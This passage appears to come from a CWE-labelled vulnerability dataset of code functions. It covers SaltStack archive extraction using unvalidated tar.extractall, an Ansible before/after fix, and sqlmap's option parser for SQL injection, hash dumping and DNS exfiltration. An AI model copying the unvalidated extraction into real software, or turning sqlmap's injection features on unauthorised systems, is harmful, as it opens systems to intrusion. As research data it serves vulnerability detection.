        __env__,
        re.sub(r'[:/\\]', '_', source_hash_basename),
    )

    if os.path.isdir(cached_source):
        # Prevent a traceback from attempting to read from a directory path
        salt.utils.rm_rf(cached_source)

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum']('',
                                                         source,
                                                         source_hash,
                                                         source_hash_name,
                                                         __env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

        if source_hash_update:
            if _compare_checksum(cached_source, source_sum):
                ret['result'] = True
                ret['comment'] = \
                    'Hash {0} has not changed'.format(source_sum['hsum'])
                return ret
    else:
        source_sum = {}

    if not os.path.isfile(cached_source):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be downloaded to cache'.format(source_match)
            return ret

        log.debug('%s is not in cache, downloading it', source_match)

        file_result = __salt__['state.single']('file.managed',
                                               cached_source,
                                               source=source_match,
                                               source_hash=source_hash,
                                               source_hash_name=source_hash_name,
                                               makedirs=True,
                                               skip_verify=skip_verify,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))

        # Get actual state result. The state.single return is a single-element
        # dictionary with the state's unique ID at the top level, and its value
        # being the state's return dictionary. next(iter(dict_name)) will give
        # us the value of the first key, so
        # file_result[next(iter(file_result))] will give us the results of the
        # state.single we just ran.
        try:
            file_result = file_result[next(iter(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
    else:
        log.debug('Archive %s is already in cache', source_match)

    if source_hash:
        _update_checksum(cached_source, source_sum)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached_source,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        source_match
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached_source,
                                            archive_format=archive_format,
                                            options=list_options,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or len(contents['top_level_files']) > 0):
        ret['comment'] = ('Archive does not have a single top-level directory. '
                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    # Check to see if we need to extract the archive. Using os.stat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    extraction_needed = overwrite

    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.stat(if_missing)
                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            for path_list, func in ((contents['dirs'], stat.S_ISDIR),
                                    (contents['files'], stat.S_ISREG)):
                for path in path_list:
                    full_path = os.path.join(name, path)
                    try:
                        path_mode = os.stat(full_path.rstrip(os.sep)).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                        elif exc.errno != errno.ENOTDIR:
                            # In cases where a directory path was occupied by a
                            # file instead, all os.stat() calls to files within
                            # that dir will raise an ENOTDIR OSError. So we
                            # expect these and will only abort here if the
                            # error code is something else.
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                incorrect_paths = '\n\n' + '\n'.join(
                    ['- {0}'.format(x) for x in incorrect_type]
                )
                ret['comment'] = (
                    'The below paths (relative to {0}) exist, but are the '
                    'incorrect type (i.e. file instead of directory or '
                    'vice-versa).'.format(name)
                )
                if __opts__['test'] and clean and contents is not None:
                    ret['result'] = None
                    ret['comment'] += (
                        ' Since the \'clean\' option is enabled, the '
                        'destination paths would be cleared and the '
                        'archive would be extracted.{0}'.format(
                            incorrect_paths
                        )
                    )
                    return ret

                # Skip notices of incorrect types if we're cleaning
                if not (clean and contents is not None):
                    if not force:
                        ret['comment'] += (
                            'To proceed with extraction, set \'force\' to '
                            'True. Note that this will remove these paths '
                            'before extracting.{0}'.format(incorrect_paths)
                        )
                        return ret
                    else:
                        errors = []
                        for path in incorrect_type:
                            full_path = os.path.join(name, path)
                            try:
                                salt.utils.rm_rf(full_path.rstrip(os.sep))
                                ret['changes'].setdefault(
                                    'removed', []).append(full_path)
                            except OSError as exc:
                                if exc.errno != errno.ENOENT:
                                    errors.append(exc.__str__())
                        if errors:
                            msg = (
                                'One or more paths existed by were the incorrect '
                                'type (i.e. file instead of directory or '
                                'vice-versa), but could not be removed. The '
                                'following errors were observed:\n'
                            )
                            for error in errors:
                                msg += '\n- {0}'.format(error)
                            ret['comment'] = msg
                            return ret

    created_destdir = False

    if extraction_needed:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    source_match,
                    name
                )
            if clean and contents is not None:
                ret['comment'] += ', after cleaning destination path(s)'
            return ret

        if clean and contents is not None:
            errors = []
            log.debug('Cleaning archive paths from within %s', name)
            for path in contents['top_level_dirs'] + contents['top_level_files']:
                full_path = os.path.join(name, path)
                try:
                    log.debug('Removing %s', full_path)
                    salt.utils.rm_rf(full_path.rstrip(os.sep))
                    ret['changes'].setdefault(
                        'removed', []).append(full_path)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        errors.append(exc.__str__())

            if errors:
                msg = (
                    'One or more paths could not be cleaned. The following '
                    'errors were observed:\n'
                )
                for error in errors:
                    msg += '\n- {0}'.format(error)
                ret['comment'] = msg
                return ret

        if not os.path.isdir(name):
            __salt__['file.makedirs'](name, user=user)
            created_destdir = True

        log.debug('Extracting {0} to {1}'.format(cached_source, name))
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    try:
                        files = __salt__['archive.cmd_unzip'](
                            cached_source,
                            name,
                            options=options,
                            trim_output=trim_output,
                            password=password,
                            **kwargs)
                    except (CommandExecutionError, CommandNotFoundError) as exc:
                        ret['comment'] = exc.strerror
                        return ret
                else:
                    files = __salt__['archive.unzip'](cached_source,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      **kwargs)
            elif archive_format == 'rar':
                try:
                    files = __salt__['archive.unrar'](cached_source,
                                                      name,
                                                      trim_output=trim_output,
                                                      **kwargs)
                except (CommandExecutionError, CommandNotFoundError) as exc:
                    ret['comment'] = exc.strerror
                    return ret
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached_source, 'r')) as tar:
                            tar.extractall(name)
                            files = tar.getnames()
                    except tarfile.ReadError:
                        if salt.utils.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-l', cached_source],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using XZ Utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached_source)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    if not salt.utils.which('tar'):
                        ret['comment'] = (
                            'tar command not available, it might not be '
                            'installed on minion'
                        )
                        return ret

                    try:
                        tar_opts = shlex.split(options)
                    except AttributeError:
                        tar_opts = shlex.split(str(options))

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached_source])

                    results = __salt__['cmd.run_all'](tar_cmd,
                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            enforce_dirs = [enforce_ownership_on]
            enforce_files = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __salt__['state.single']('file.directory',
                                                      full_path,
                                                      user=user,
                                                      group=group,
                                                      recurse=recurse,
                                                      test=__opts__['test'])
                try:
                    dir_result = dir_result[next(iter(dir_result))]
                except AttributeError:
                    pass
                log.debug('file.directory: %s', dir_result)

                if __opts__['test']:
                    if dir_result.get('pchanges'):
                        ret['changes']['updated ownership'] = True
                else:
                    try:
                        if dir_result['result']:
                            if dir_result['changes']:
                                ret['changes']['updated ownership'] = True
                        else:
                            enforce_failed.append(full_path)
                    except (KeyError, TypeError):
                        log.warning(
                            'Bad state return %s for file.directory state on %s',
                            dir_result, dirname
                        )

        for filename in enforce_files:
            full_path = os.path.join(name, filename)
            try:
                # Using os.stat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.stat directly will speed
                # things up a bit.
                file_stat = os.stat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.chown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if len(files) > 0:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(source_match, name)
            if not keep:
                log.debug('Cleaning cached source file %s', cached_source)
                try:
                    os.remove(cached_source)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        log.error(
                            'Failed to clean cached source file %s: %s',
                            cached_source, exc.__str__()
                        )
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'Can\'t extract content of {0}'.format(source_match)

    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_levle dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    return ret"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/utils/plugins.py,0,"def add_directory(self, directory, with_subdir=False):
        ''' Adds an additional directory to the search path '''

        self._paths = None

        if directory is not None:
            if with_subdir:
                directory = os.path.join(directory, self.subdir)
            if directory not in self._extra_dirs:
                self._extra_dirs.append(directory)",,ansible/ansible,841093921bd3e59bdb25ba4c7152311b66af49c1,"def add_directory(self, directory, with_subdir=False):
        ''' Adds an additional directory to the search path '''

        self._paths = None

        if directory is not None:
            if with_subdir:
                directory = os.path.join(directory, self.subdir)
            self._extra_dirs.append(directory)"
,UNKNOWN,UNKNOWN,lib/parse/cmdline.py,1,"def cmdLineParser(argv=None):
    """"""
    This function parses the command line parameters and arguments
    """"""

    if not argv:
        argv = sys.argv

    checkSystemEncoding()

    # Reference: https://stackoverflow.com/a/4012683 (Note: previously used ""...sys.getfilesystemencoding() or UNICODE_ENCODING"")
    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)

    usage = ""%s%s [options]"" % (""%s "" % os.path.basename(sys.executable) if not IS_WIN else """", ""\""%s\"""" % _ if "" "" in _ else _)
    parser = ArgumentParser(usage=usage)

    try:
        parser.add_argument(""--hh"", dest=""advancedHelp"", action=""store_true"",
            help=""Show advanced help message and exit"")

        parser.add_argument(""--version"", dest=""showVersion"", action=""store_true"",
            help=""Show program's version number and exit"")

        parser.add_argument(""-v"", dest=""verbose"", type=int,
            help=""Verbosity level: 0-6 (default %d)"" % defaults.verbose)

        # Target options
        target = parser.add_argument_group(""Target"", ""At least one of these options has to be provided to define the target(s)"")

        target.add_argument(""-u"", ""--url"", dest=""url"",
            help=""Target URL (e.g. \""http://www.site.com/vuln.php?id=1\"")"")

        target.add_argument(""-d"", dest=""direct"",
            help=""Connection string for direct database connection"")

        target.add_argument(""-l"", dest=""logFile"",
            help=""Parse target(s) from Burp or WebScarab proxy log file"")

        target.add_argument(""-m"", dest=""bulkFile"",
            help=""Scan multiple targets given in a textual file "")

        target.add_argument(""-r"", dest=""requestFile"",
            help=""Load HTTP request from a file"")

        target.add_argument(""-g"", dest=""googleDork"",
            help=""Process Google dork results as target URLs"")

        target.add_argument(""-c"", dest=""configFile"",
            help=""Load options from a configuration INI file"")

        # Request options
        request = parser.add_argument_group(""Request"", ""These options can be used to specify how to connect to the target URL"")

        request.add_argument(""-A"", ""--user-agent"", dest=""agent"",
            help=""HTTP User-Agent header value"")

        request.add_argument(""-H"", ""--header"", dest=""header"",
            help=""Extra header (e.g. \""X-Forwarded-For: 127.0.0.1\"")"")

        request.add_argument(""--method"", dest=""method"",
            help=""Force usage of given HTTP method (e.g. PUT)"")

        request.add_argument(""--data"", dest=""data"",
            help=""Data string to be sent through POST (e.g. \""id=1\"")"")

        request.add_argument(""--param-del"", dest=""paramDel"",
            help=""Character used for splitting parameter values (e.g. &)"")

        request.add_argument(""--cookie"", dest=""cookie"",
            help=""HTTP Cookie header value (e.g. \""PHPSESSID=a8d127e..\"")"")

        request.add_argument(""--cookie-del"", dest=""cookieDel"",
            help=""Character used for splitting cookie values (e.g. ;)"")

        request.add_argument(""--load-cookies"", dest=""loadCookies"",
            help=""File containing cookies in Netscape/wget format"")

        request.add_argument(""--drop-set-cookie"", dest=""dropSetCookie"", action=""store_true"",
            help=""Ignore Set-Cookie header from response"")

        request.add_argument(""--mobile"", dest=""mobile"", action=""store_true"",
            help=""Imitate smartphone through HTTP User-Agent header"")

        request.add_argument(""--random-agent"", dest=""randomAgent"", action=""store_true"",
            help=""Use randomly selected HTTP User-Agent header value"")

        request.add_argument(""--host"", dest=""host"",
            help=""HTTP Host header value"")

        request.add_argument(""--referer"", dest=""referer"",
            help=""HTTP Referer header value"")

        request.add_argument(""--headers"", dest=""headers"",
            help=""Extra headers (e.g. \""Accept-Language: fr\\nETag: 123\"")"")

        request.add_argument(""--auth-type"", dest=""authType"",
            help=""HTTP authentication type (Basic, Digest, NTLM or PKI)"")

        request.add_argument(""--auth-cred"", dest=""authCred"",
            help=""HTTP authentication credentials (name:password)"")

        request.add_argument(""--auth-file"", dest=""authFile"",
            help=""HTTP authentication PEM cert/private key file"")

        request.add_argument(""--ignore-code"", dest=""ignoreCode"",
            help=""Ignore (problematic) HTTP error code (e.g. 401)"")

        request.add_argument(""--ignore-proxy"", dest=""ignoreProxy"", action=""store_true"",
            help=""Ignore system default proxy settings"")

        request.add_argument(""--ignore-redirects"", dest=""ignoreRedirects"", action=""store_true"",
            help=""Ignore redirection attempts"")

        request.add_argument(""--ignore-timeouts"", dest=""ignoreTimeouts"", action=""store_true"",
            help=""Ignore connection timeouts"")

        request.add_argument(""--proxy"", dest=""proxy"",
            help=""Use a proxy to connect to the target URL"")

        request.add_argument(""--proxy-cred"", dest=""proxyCred"",
            help=""Proxy authentication credentials (name:password)"")

        request.add_argument(""--proxy-file"", dest=""proxyFile"",
            help=""Load proxy list from a file"")

        request.add_argument(""--tor"", dest=""tor"", action=""store_true"",
            help=""Use Tor anonymity network"")

        request.add_argument(""--tor-port"", dest=""torPort"",
            help=""Set Tor proxy port other than default"")

        request.add_argument(""--tor-type"", dest=""torType"",
            help=""Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))"")

        request.add_argument(""--check-tor"", dest=""checkTor"", action=""store_true"",
            help=""Check to see if Tor is used properly"")

        request.add_argument(""--delay"", dest=""delay"", type=float,
            help=""Delay in seconds between each HTTP request"")

        request.add_argument(""--timeout"", dest=""timeout"", type=float,
            help=""Seconds to wait before timeout connection (default %d)"" % defaults.timeout)

        request.add_argument(""--retries"", dest=""retries"", type=int,
            help=""Retries when the connection timeouts (default %d)"" % defaults.retries)

        request.add_argument(""--randomize"", dest=""rParam"",
            help=""Randomly change value for given parameter(s)"")

        request.add_argument(""--safe-url"", dest=""safeUrl"",
            help=""URL address to visit frequently during testing"")

        request.add_argument(""--safe-post"", dest=""safePost"",
            help=""POST data to send to a safe URL"")

        request.add_argument(""--safe-req"", dest=""safeReqFile"",
            help=""Load safe HTTP request from a file"")

        request.add_argument(""--safe-freq"", dest=""safeFreq"", type=int,
            help=""Regular requests between visits to a safe URL"")

        request.add_argument(""--skip-urlencode"", dest=""skipUrlEncode"", action=""store_true"",
            help=""Skip URL encoding of payload data"")

        request.add_argument(""--csrf-token"", dest=""csrfToken"",
            help=""Parameter used to hold anti-CSRF token"")

        request.add_argument(""--csrf-url"", dest=""csrfUrl"",
            help=""URL address to visit for extraction of anti-CSRF token"")

        request.add_argument(""--csrf-method"", dest=""csrfMethod"",
            help=""HTTP method to use during anti-CSRF token page visit"")

        request.add_argument(""--csrf-retries"", dest=""csrfRetries"", type=int,
            help=""Retries for anti-CSRF token retrieval (default %d)"" % defaults.csrfRetries)

        request.add_argument(""--force-ssl"", dest=""forceSSL"", action=""store_true"",
            help=""Force usage of SSL/HTTPS"")

        request.add_argument(""--chunked"", dest=""chunked"", action=""store_true"",
            help=""Use HTTP chunked transfer encoded (POST) requests"")

        request.add_argument(""--hpp"", dest=""hpp"", action=""store_true"",
            help=""Use HTTP parameter pollution method"")

        request.add_argument(""--eval"", dest=""evalCode"",
            help=""Evaluate provided Python code before the request (e.g. \""import hashlib;id2=hashlib.md5(id).hexdigest()\"")"")

        # Optimization options
        optimization = parser.add_argument_group(""Optimization"", ""These options can be used to optimize the performance of sqlmap"")

        optimization.add_argument(""-o"", dest=""optimize"", action=""store_true"",
            help=""Turn on all optimization switches"")

        optimization.add_argument(""--predict-output"", dest=""predictOutput"", action=""store_true"",
            help=""Predict common queries output"")

        optimization.add_argument(""--keep-alive"", dest=""keepAlive"", action=""store_true"",
            help=""Use persistent HTTP(s) connections"")

        optimization.add_argument(""--null-connection"", dest=""nullConnection"", action=""store_true"",
            help=""Retrieve page length without actual HTTP response body"")

        optimization.add_argument(""--threads"", dest=""threads"", type=int,
            help=""Max number of concurrent HTTP(s) requests (default %d)"" % defaults.threads)

        # Injection options
        injection = parser.add_argument_group(""Injection"", ""These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts"")

        injection.add_argument(""-p"", dest=""testParameter"",
            help=""Testable parameter(s)"")

        injection.add_argument(""--skip"", dest=""skip"",
            help=""Skip testing for given parameter(s)"")

        injection.add_argument(""--skip-static"", dest=""skipStatic"", action=""store_true"",
            help=""Skip testing parameters that not appear to be dynamic"")

        injection.add_argument(""--param-exclude"", dest=""paramExclude"",
            help=""Regexp to exclude parameters from testing (e.g. \""ses\"")"")

        injection.add_argument(""--param-filter"", dest=""paramFilter"",
            help=""Select testable parameter(s) by place (e.g. \""POST\"")"")

        injection.add_argument(""--dbms"", dest=""dbms"",
            help=""Force back-end DBMS to provided value"")

        injection.add_argument(""--dbms-cred"", dest=""dbmsCred"",
            help=""DBMS authentication credentials (user:password)"")

        injection.add_argument(""--os"", dest=""os"",
            help=""Force back-end DBMS operating system to provided value"")

        injection.add_argument(""--invalid-bignum"", dest=""invalidBignum"", action=""store_true"",
            help=""Use big numbers for invalidating values"")

        injection.add_argument(""--invalid-logical"", dest=""invalidLogical"", action=""store_true"",
            help=""Use logical operations for invalidating values"")

        injection.add_argument(""--invalid-string"", dest=""invalidString"", action=""store_true"",
            help=""Use random strings for invalidating values"")

        injection.add_argument(""--no-cast"", dest=""noCast"", action=""store_true"",
            help=""Turn off payload casting mechanism"")

        injection.add_argument(""--no-escape"", dest=""noEscape"", action=""store_true"",
            help=""Turn off string escaping mechanism"")

        injection.add_argument(""--prefix"", dest=""prefix"",
            help=""Injection payload prefix string"")

        injection.add_argument(""--suffix"", dest=""suffix"",
            help=""Injection payload suffix string"")

        injection.add_argument(""--tamper"", dest=""tamper"",
            help=""Use given script(s) for tampering injection data"")

        # Detection options
        detection = parser.add_argument_group(""Detection"", ""These options can be used to customize the detection phase"")

        detection.add_argument(""--level"", dest=""level"", type=int,
            help=""Level of tests to perform (1-5, default %d)"" % defaults.level)

        detection.add_argument(""--risk"", dest=""risk"", type=int,
            help=""Risk of tests to perform (1-3, default %d)"" % defaults.risk)

        detection.add_argument(""--string"", dest=""string"",
            help=""String to match when query is evaluated to True"")

        detection.add_argument(""--not-string"", dest=""notString"",
            help=""String to match when query is evaluated to False"")

        detection.add_argument(""--regexp"", dest=""regexp"",
            help=""Regexp to match when query is evaluated to True"")

        detection.add_argument(""--code"", dest=""code"", type=int,
            help=""HTTP code to match when query is evaluated to True"")

        detection.add_argument(""--smart"", dest=""smart"", action=""store_true"",
            help=""Perform thorough tests only if positive heuristic(s)"")

        detection.add_argument(""--text-only"", dest=""textOnly"", action=""store_true"",
            help=""Compare pages based only on the textual content"")

        detection.add_argument(""--titles"", dest=""titles"", action=""store_true"",
            help=""Compare pages based only on their titles"")

        # Techniques options
        techniques = parser.add_argument_group(""Techniques"", ""These options can be used to tweak testing of specific SQL injection techniques"")

        techniques.add_argument(""--technique"", dest=""technique"",
            help=""SQL injection techniques to use (default \""%s\"")"" % defaults.technique)

        techniques.add_argument(""--time-sec"", dest=""timeSec"", type=int,
            help=""Seconds to delay the DBMS response (default %d)"" % defaults.timeSec)

        techniques.add_argument(""--union-cols"", dest=""uCols"",
            help=""Range of columns to test for UNION query SQL injection"")

        techniques.add_argument(""--union-char"", dest=""uChar"",
            help=""Character to use for bruteforcing number of columns"")

        techniques.add_argument(""--union-from"", dest=""uFrom"",
            help=""Table to use in FROM part of UNION query SQL injection"")

        techniques.add_argument(""--dns-domain"", dest=""dnsDomain"",
            help=""Domain name used for DNS exfiltration attack"")

        techniques.add_argument(""--second-url"", dest=""secondUrl"",
            help=""Resulting page URL searched for second-order response"")

        techniques.add_argument(""--second-req"", dest=""secondReq"",
            help=""Load second-order HTTP request from file"")

        # Fingerprint options
        fingerprint = parser.add_argument_group(""Fingerprint"")

        fingerprint.add_argument(""-f"", ""--fingerprint"", dest=""extensiveFp"", action=""store_true"",
            help=""Perform an extensive DBMS version fingerprint"")

        # Enumeration options
        enumeration = parser.add_argument_group(""Enumeration"", ""These options can be used to enumerate the back-end database management system information, structure and data contained in the tables"")

        enumeration.add_argument(""-a"", ""--all"", dest=""getAll"", action=""store_true"",
            help=""Retrieve everything"")

        enumeration.add_argument(""-b"", ""--banner"", dest=""getBanner"", action=""store_true"",
            help=""Retrieve DBMS banner"")

        enumeration.add_argument(""--current-user"", dest=""getCurrentUser"", action=""store_true"",
            help=""Retrieve DBMS current user"")

        enumeration.add_argument(""--current-db"", dest=""getCurrentDb"", action=""store_true"",
            help=""Retrieve DBMS current database"")

        enumeration.add_argument(""--hostname"", dest=""getHostname"", action=""store_true"",
            help=""Retrieve DBMS server hostname"")

        enumeration.add_argument(""--is-dba"", dest=""isDba"", action=""store_true"",
            help=""Detect if the DBMS current user is DBA"")

        enumeration.add_argument(""--users"", dest=""getUsers"", action=""store_true"",
            help=""Enumerate DBMS users"")

        enumeration.add_argument(""--passwords"", dest=""getPasswordHashes"", action=""store_true"",
            help=""Enumerate DBMS users password hashes"")

        enumeration.add_argument(""--privileges"", dest=""getPrivileges"", action=""store_true"",
            help=""Enumerate DBMS users privileges"")

        enumeration.add_argument(""--roles"", dest=""getRoles"", action=""store_true"",
            help=""Enumerate DBMS users roles"")

        enumeration.add_argument(""--dbs"", dest=""getDbs"", action=""store_true"",
            help=""Enumerate DBMS databases"")

        enumeration.add_argument(""--tables"", dest=""getTables"", action=""store_true"",
            help=""Enumerate DBMS database tables"")

        enumeration.add_argument(""--columns"", dest=""getColumns"", action=""store_true"",
            help=""Enumerate DBMS database table columns"")

        enumeration.add_argument(""--schema"", dest=""getSchema"", action=""store_true"",
            help=""Enumerate DBMS schema"")

        enumeration.add_argument(""--count"", dest=""getCount"", action=""store_true"",
            help=""Retrieve number of entries for table(s)"")

        enumeration.add_argument(""--dump"", dest=""dumpTable"", action=""store_true"",
            help=""Dump DBMS database table entries"")

        enumeration.add_argument(""--dump-all"", dest=""dumpAll"", action=""store_true"",
            help=""Dump all DBMS databases tables entries"")

        enumeration.add_argument(""--search"", dest=""search"", action=""store_true"",
            help=""Search column(s), table(s) and/or database name(s)"")

        enumeration.add_argument(""--comments"", dest=""getComments"", action=""store_true"",
            help=""Check for DBMS comments during enumeration"")

        enumeration.add_argument(""--statements"", dest=""getStatements"", action=""store_true"",
            help=""Retrieve SQL statements being run on DBMS"")

        enumeration.add_argument(""-D"", dest=""db"",
            help=""DBMS database to enumerate"")

        enumeration.add_argument(""-T"", dest=""tbl"",
            help=""DBMS database table(s) to enumerate"")

        enumeration.add_argument(""-C"", dest=""col"",
            help=""DBMS database table column(s) to enumerate"")

        enumeration.add_argument(""-X"", dest=""exclude"",
            help=""DBMS database identifier(s) to not enumerate"")

        enumeration.add_argument(""-U"", dest=""user"",
            help=""DBMS user to enumerate"")

